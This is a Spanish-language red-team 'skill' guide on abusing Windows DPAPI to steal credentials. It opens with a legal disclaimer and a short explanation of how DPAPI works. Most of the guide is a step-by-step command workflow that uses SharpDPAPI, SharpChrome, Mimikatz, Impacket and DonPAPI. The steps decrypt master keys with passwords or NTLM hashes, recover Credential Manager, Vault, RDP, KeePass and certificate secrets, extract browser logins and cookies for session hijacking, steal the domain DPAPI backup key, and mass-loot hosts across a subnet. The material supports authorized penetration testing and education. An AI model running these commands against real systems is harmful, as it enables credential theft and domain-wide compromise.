¿Qué hace Abusing DPAPI for Credential Access?
Aviso Legal: Este skill es solo para fines autorizados de pruebas de penetración, ejercicios de equipo rojo y educativos. Extraer credenciales de sistemas que no posee o para los cuales no tiene autorización por escrito expresa para realizar pruebas es ilegal y puede violar las leyes de fraude y abuso informático. Siempre opere dentro de reglas de enfrentamiento firmadas y documente cada acción.
Resumen
La API de Protección de Datos de Windows (DPAPI) es el servicio de cifrado simétrico integrado del sistema operativo que las aplicaciones utilizan para proteger secretos en reposo: credenciales guardadas de RDP y del Administrador de Credenciales de Windows, credenciales web y Wi-Fi en el Almacén de Credenciales (Vault), inicios de sesión y cookies guardados del navegador (Chrome/Edge), claves de KeePass, claves privadas de certificados y contraseñas de tareas programadas. DPAPI deriva una clave maestra por usuario (o por máquina) de la contraseña del usuario (o del secreto de la cuenta de máquina), y esa clave maestra cifra "blobs DPAPI" individuales. Las claves maestras cifradas residen en %APPDATA%\Microsoft\Protect\<SID>\ (usuario) y %WINDIR%\System32\Microsoft\Protect\ (máquina).
Los equipos rojos abusan de DPAPI para recuperar secretos en texto plano después de obtener un punto de apoyo, mapeando a la técnica T1555.004 (Credenciales de Almacenes de Contraseñas: Administrador de Credenciales de Windows) de MITRE ATT&CK. Hay tres rutas principales de descifrado:
- En línea / basado en contexto — ejecutando como el usuario objetivo, las APIs de DPAPI (
CryptUnprotectData) descifran transparentemente los blobs del usuario. El flag/unprotectde SharpDPAPI utiliza esto. - Fuera de línea con la contraseña del usuario o hash NTLM — descifra las claves maestras del usuario con
/password:o/ntlm:, luego descifra los blobs fuera de línea (ideal para archivos triageados extraídos de un host). - A nivel de dominio con la clave de respaldo DPAPI — los Administradores de Dominio pueden extraer la clave de respaldo RSA DPAPI del dominio (
.pvk) una vez, y luego descifrar cualquier clave maestra de usuario del dominio, en línea o fuera de línea, con/pvk:.
Las herramientas canónicas son SharpDPAPI (GhostPack, un port a C# de la funcionalidad DPAPI de Mimikatz) para Windows, SharpChrome para secretos del navegador, y Mimikatz (dpapi::*) como la implementación original. En Linux, dpapi.py de Impacket y donpapi realizan triaje remoto/fuera de línea.
Cuándo Usar
- Después de comprometer un host Windows donde el usuario tiene credenciales guardadas de RDP, navegador o del almacén que valga la pena cosechar para movimiento lateral.
- Cuando posee la contraseña de un usuario o su hash NTLM y desea descifrar sus secretos protegidos por DPAPI fuera de línea.
- Cuando tiene privilegios de Administrador de Dominio y desea obtener la clave de respaldo DPAPI del dominio para descifrar los datos protegidos de cualquier usuario en todo el entorno.
- Al realizar triaje de directorios
Credentials,VaultoProtectexfiltrados de imágenes de disco. - Durante ejercicios de equipo púrpura para validar la detección del acceso a claves maestras DPAPI y lecturas de LSASS/carpeta Protect.
Prerrequisitos
- Un punto de apoyo autorizado (sesión interactiva, beacon o administración remota) en el host Windows objetivo.
- Conocimiento del SID del usuario objetivo y uno de: la sesión del usuario, su contraseña, su hash NTLM o derechos de Administrador de Dominio para la clave de respaldo.
- Herramientas (compilar desde el código fuente o usar binarios de lanzamiento; obtener solo de fuentes oficiales):
# SharpDPAPI / SharpChrome (GhostPack) — compilar con Visual Studio / msbuild
git clone https://github.com/GhostPack/SharpDPAPI.git
# Abrir SharpDPAPI.sln y compilar Release, o:
msbuild SharpDPAPI.sln /p:Configuration=Release
# Mimikatz (implementación DPAPI original)
# https://github.com/gentilkiwi/mimikatz/releases
# Triaje remoto/fuera de línea en Linux (Impacket)
pipx install impacket # proporciona dpapi.py / impacket-dpapi
pipx install donpapi # https://github.com/login-securite/DonPAPI
Objetivos
- Realizar triaje de un host en busca de blobs de credenciales, almacenes, RDP y certificados protegidos por DPAPI.
- Descifrar claves maestras de usuario en línea (
/unprotect), con una contraseña/hash, o con la clave de respaldo del dominio. - Recuperar secretos en texto plano del Administrador de Credenciales y del Almacén de Credenciales (Vault).
- Extraer inicios de sesión y cookies guardados del navegador con SharpChrome.
- Obtener y reutilizar la clave de respaldo DPAPI del dominio para descifrar en todo el entorno.
Mapeo MITRE ATT&CK
| ID de Técnica | Nombre | Táctica | Relevancia |
|---|---|---|---|
| T1555.004 | Credenciales de Almacenes de Contraseñas: Administrador de Credenciales de Windows | Acceso a Credenciales | DPAPI protege las entradas del Administrador de Credenciales / Vault; descifrar claves maestras y blobs recupera estas credenciales almacenadas. |
| T1555.003 | Credenciales de Almacenes de Contraseñas: Credenciales de Navegadores Web | Acceso a Credenciales | SharpChrome descifra inicios de sesión, cookies y claves de estado de Chrome/Edge protegidos por DPAPI. |
| T1003 | Volcado de Credenciales del SO | Acceso a Credenciales | Extraer claves maestras / claves de respaldo es una forma de volcado de material de credenciales. |
Flujo de Trabajo
1. Triaje del host en busca de blobs DPAPI
Ejecute el comando triage de SharpDPAPI en el contexto del usuario para enumerar automáticamente y (cuando sea posible) descifrar credenciales, almacenes, RDG/RDP y certificados:
# Triaje en línea en el contexto del usuario actual (usa CryptUnprotectData)
SharpDPAPI.exe triage /unprotect
# Triaje de máquina (requiere admin local / SYSTEM) para blobs con ámbito de máquina
SharpDPAPI.exe machinetriage
2. Descifrar claves maestras de usuario fuera de línea (contraseña o hash NTLM)
Si posee la contraseña o el hash del usuario, descifre sus claves maestras para obtener un mapeo {GUID}:SHA1 que pueda reutilizar contra blobs individuales:
# Descifrar todas las claves maestras del usuario actual/especificado con la contraseña
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple
# Descifrar claves maestras con el hash NTLM del usuario en lugar de la contraseña
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a
# La salida son líneas GUID:SHA1 — proporciónelas a los comandos de credenciales/almacenes
3. Recuperar secretos del Administrador de Credenciales y del Vault
Use el mapeo de claves maestras descifradas (o /pvk:) para descifrar las credenciales almacenadas y las entradas del Vault:
# Descifrar blobs del Administrador de Credenciales con un mapeo GUID:SHA1
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1
# O apunte a una carpeta de Credenciales objetivo y descifre con la clave de respaldo del dominio
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk
# Descifrar entradas del Almacén de Credenciales (Vault)
SharpDPAPI.exe vaults /pvk:backupkey.pvk
4. Descifrar secretos de RDP, KeePass y certificados
# Contraseñas RDP guardadas en RDCMan.settings (contexto del usuario actual)
SharpDPAPI.exe rdg /unprotect
# Claves maestras de KeePass protegidas por DPAPI
SharpDPAPI.exe keepass /unprotect
# Claves privadas de certificados (exporta .pem usable con /showall para todos los almacenes)
SharpDPAPI.exe certificates /unprotect /showall
5. Extraer credenciales del navegador con SharpChrome
SharpChrome descifra inicios de sesión y cookies de Chrome/Edge. Chromium moderno usa una "clave de estado" de App-Bound que SharpChrome resuelve a través de DPAPI:
# Descifrar inicios de sesión guardados para el usuario actual
SharpChrome.exe logins /unprotect
# Descifrar cookies (útil para secuestro de sesión) en una carpeta objetivo
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk
# Resolver la clave de estado AES explícitamente
SharpChrome.exe statekeys /unprotect
6. Obtener la clave de respaldo DPAPI del dominio (Administrador de Dominio)
Con privilegios de Administrador de Dominio, recupere la clave privada de respaldo RSA DPAPI del dominio una vez. Esta clave descifra las claves maestras de cada usuario del dominio indefinidamente:
# Extraer y guardar la clave de respaldo del dominio como un archivo .pvk a través de la interfaz RPC MS-BKRP
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk
Luego descifre cualquier clave maestra de usuario fuera de línea con ella:
SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\
7. Triaje remoto / basado en Linux (Impacket / DonPAPI)
Desde una caja de operador Linux, coseche y descifre secretos DPAPI a través de hosts:
# Descifrar un único archivo de clave maestra con Impacket usando la clave de respaldo del dominio
impacket-dpapi masterkey -file <archivo_clave_maestra> -pvk backupkey.pvk
# Descifrar un blob de credencial con la clave maestra recuperada
impacket-dpapi credential -file <blob_credencial> -key 0x<clave_maestra_descifrada>
# Saqueo masivo remoto de DPAPI a través de hosts con DonPAPI
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24
Herramientas y Recursos
| Herramienta | Propósito | Enlace |
|---|---|---|
| SharpDPAPI | Triaje/descifrado DPAPI en Windows (C#) | https://github.com/GhostPack/SharpDPAPI |
| SharpChrome | Descifrado de inicios de sesión/cookies/claves de estado de Chromium | https://github.com/GhostPack/SharpDPAPI |
| Mimikatz | Implementación original de DPAPI (dpapi::*) | https://github.com/gentilkiwi/mimikatz |
| Impacket dpapi.py | Descifrado DPAPI remoto/fuera de línea (Python) | https://github.com/fortra/impacket |
| DonPAPI | Saqueo masivo remoto de DPAPI | https://github.com/login-securite/DonPAPI |
| HackTricks DPAPI | Referencia de técnicas | https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html |
Notas de Detección y OPSEC
- El acceso a claves maestras y las lecturas de
\Microsoft\Protect\y\Microsoft\Credentials\son detectables;backupkeyactiva una llamada RPC MS-BKRP al Controlador de Dominio (DC). - La ruta
/unprotect(en línea) es la opción más sigilosa para un solo host, pero solo funciona como el usuario activo. - Los defensores deben monitorear el acceso de procesos a LSASS (Sysmon) y el acceso anómalo a las carpetas Protect/Credentials (DE.CM-01).
Criterios de Validación
- Triaje del host realizado con
SharpDPAPI triage/machinetriage. - Claves maestras de usuario descifradas mediante
/unprotect,/password:,/ntlm:o/pvk:. - Secretos del Administrador de Credenciales y del Almacén de Credenciales recuperados.
- Secretos de RDP / KeePass / certificados extraídos cuando estén presentes.
- Inicios de sesión/cookies del navegador descifrados con SharpChrome.
- Clave de respaldo DPAPI del dominio recuperada con Administrador de Dominio (si está dentro del alcance) y reutilizada fuera de línea.
- Todos los secretos recuperados documentados con host/usuario de origen y adhesión a las ROE confirmada.